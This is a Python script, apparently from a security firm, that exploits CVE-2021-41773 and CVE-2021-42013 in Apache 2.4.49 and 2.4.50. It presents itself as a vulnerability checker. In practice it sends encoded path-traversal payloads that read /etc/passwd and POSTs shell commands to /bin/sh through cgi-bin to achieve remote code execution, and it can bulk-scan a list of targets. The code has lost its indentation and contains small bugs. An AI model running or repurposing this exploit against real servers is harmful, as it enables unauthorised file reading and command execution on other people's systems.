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cve-2021-41773.py
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cve-2021-41773.py
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#!/usr/bin/python
'''
CVE: 2021-41773
Description: Path Traversal or Remote Code Execution vulnerabilities were found in Apache 2.4.49 and 2.4.50
Script Author: @nirav4peace
Company: Walnut Security Services Pvt. Ltd.
Website: https://walnutsecurity.com
'''
import os
import sys
import requests
import argparse
import urllib
from os import path
#User-Agent
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0"
#Usage Instructions
usage = "\n- cve-2021-41773.py -u domain.com\n- cve-2021-41773.py -u domain.com -pt\n- cve-2021-41773.py -u domain.com -rce"
description = "cve-2021-41773.py is a python script to check for Path Traversal or Remote Code Execution vulnerability in Apache 2.4.49"
#Arguments Parser
parser = argparse.ArgumentParser(usage=usage, description=description)
parser.add_argument("-u", dest="url", type=str, help="Specify a domain/ip to scan for CVE-2021-41773")
parser.add_argument("-pt", dest="pt", action="store_true", help="This will check only for Path Traversal vulnerability")
parser.add_argument("-rce", dest="rce", action="store_true", help="This will check only for Remote Code Execution vulnerability")
parser.add_argument("-l", dest="list", help="Specify a file to bulk scan for CVE-2021-41773")
args = parser.parse_args()
vuln_ind = 0
#Check for valid URL format and connectivity
def urlCheck(url):
try:
try:
try:
try:
try:
resp = requests.head(url, headers={"User-Agent": user_agent})
return resp
except requests.exceptions.InvalidURL:
print ("\n[-] Provided URL is invalid. Please specify valid URL.\n")
sys.exit()
except requests.exceptions.InvalidSchema:
print ("\n[-] You have provided wrong protocol in "+url+", it must be (http:// or https://)\n")
sys.exit()
except requests.exceptions.MissingSchema:
print ("\n[-] You need to specify protocol (http:// or https://) in "+url+"\n")
sys.exit()
except requests.exceptions.ReadTimeout:
print ("\n[-] Server has not responded within 10s for the domain "+url+"\n")
sys.exit()
except requests.exceptions.ConnectionError:
print ("\n[-] Unable to connect to the domain "+url+"\n")
sys.exit()
def exploitPT(payload, cve_id):
payload = url + urllib.parse.quote(payload, safe="/%")
print ("[+] Executing payload "+payload)
try:
request = urllib.request.Request(payload, headers={"User-Agent": user_agent})
response = urllib.request.urlopen(request)
res = response.read().decode("utf-8")
if "root:" in res:
print ("[!] "+url+" is vulnerable to Path Traversal Attack ("+cve_id+")")
print ("[+] Response:")
print (res)
global vuln_ind
vuln_ind =+ 1
else:
print ("[!] "+url+" is not vulnerable to "+cve_id+"\n")
except urllib.error.HTTPError:
print ("[!] "+url+" is not vulnerable to "+cve_id+"\n")
def exploitRCE(payload, cve_id):
payload = url + urllib.parse.quote(payload, safe="/%")
data = "echo;id"
data = data.encode("ascii")
print ("[+] Executing payload "+payload)
try:
request = urllib.request.Request(payload, data=data, headers={"User-Agent": user_agent})
response = urllib.request.urlopen(request)
res = response.read().decode("utf-8")
if "uid=" in res:
print ("[!] "+url+" is vulnerable to Remote Code Execution attack ("+cve_id+")")
print ("[+] Response:")
print (res)
else:
print ("[!] "+url+" is not vulnerable to "+cve_id+"\n")
except urllib.error.HTTPError:
print ("[!] "+url+" is not vulnerable to "+cve_id+"\n")
def pathTraversal(url):
resp = urlCheck(url)
version = resp.headers['server']
if "49" in version:
cve_id = "CVE-2021-41773"
payload = "/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
exploitPT(payload, cve_id)
elif "50" in version:
cve_id = "CVE-2021-42013"
payload = "/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd"
exploitPT(payload, cve_id)
else:
cve_id = "CVE-2021-41773"
payload = "/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
exploitPT(payload, cve_id)
if vuln_ind == 0:
cve_id = "CVE-2021-42013"
payload = "/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd"
exploitPT(payload, cve_id)
def RCE(url):
resp = urlCheck(url)
version = resp.headers['server']
if "49" in version:
cve_id = "CVE-2021-41773"
payload = "/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"
exploitRCE(payload, cve_id)
elif "50" in version:
cve_id = "CVE-2021-42013"
payload = "/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"
exploitRCE(payload, cve_id)
else:
cve_id = "CVE-2021-41773"
payload = "/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"
exploitRCE(payload, cve_id)
if vuln_ind == 0:
cve_id = "CVE-2021-42013"
payload = "/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"
exploitRCE(payload, cve_id)
def execute(url):
ind=0
if args.pt:
pathTraversal(url)
ind = 1
if args.rce:
RCE(url)
ind = 1
if ind == 0:
pathTraversal(url)
RCE(url)
if args.url and args.list:
print("[-] Specify only one parameter '-u' or '-l'")
elif args.url:
url = args.url
execute(url)
elif args.list:
if not os.path.exists(args.list):
print ("\n[-] No such list found in the given path.\n")
sys.exit()
lists = open(args.list).read().splitlines()
for url in lists:
execute(url)
else:
print("[-] No parameters given. Please see help by '-h'\n")
sys.exit()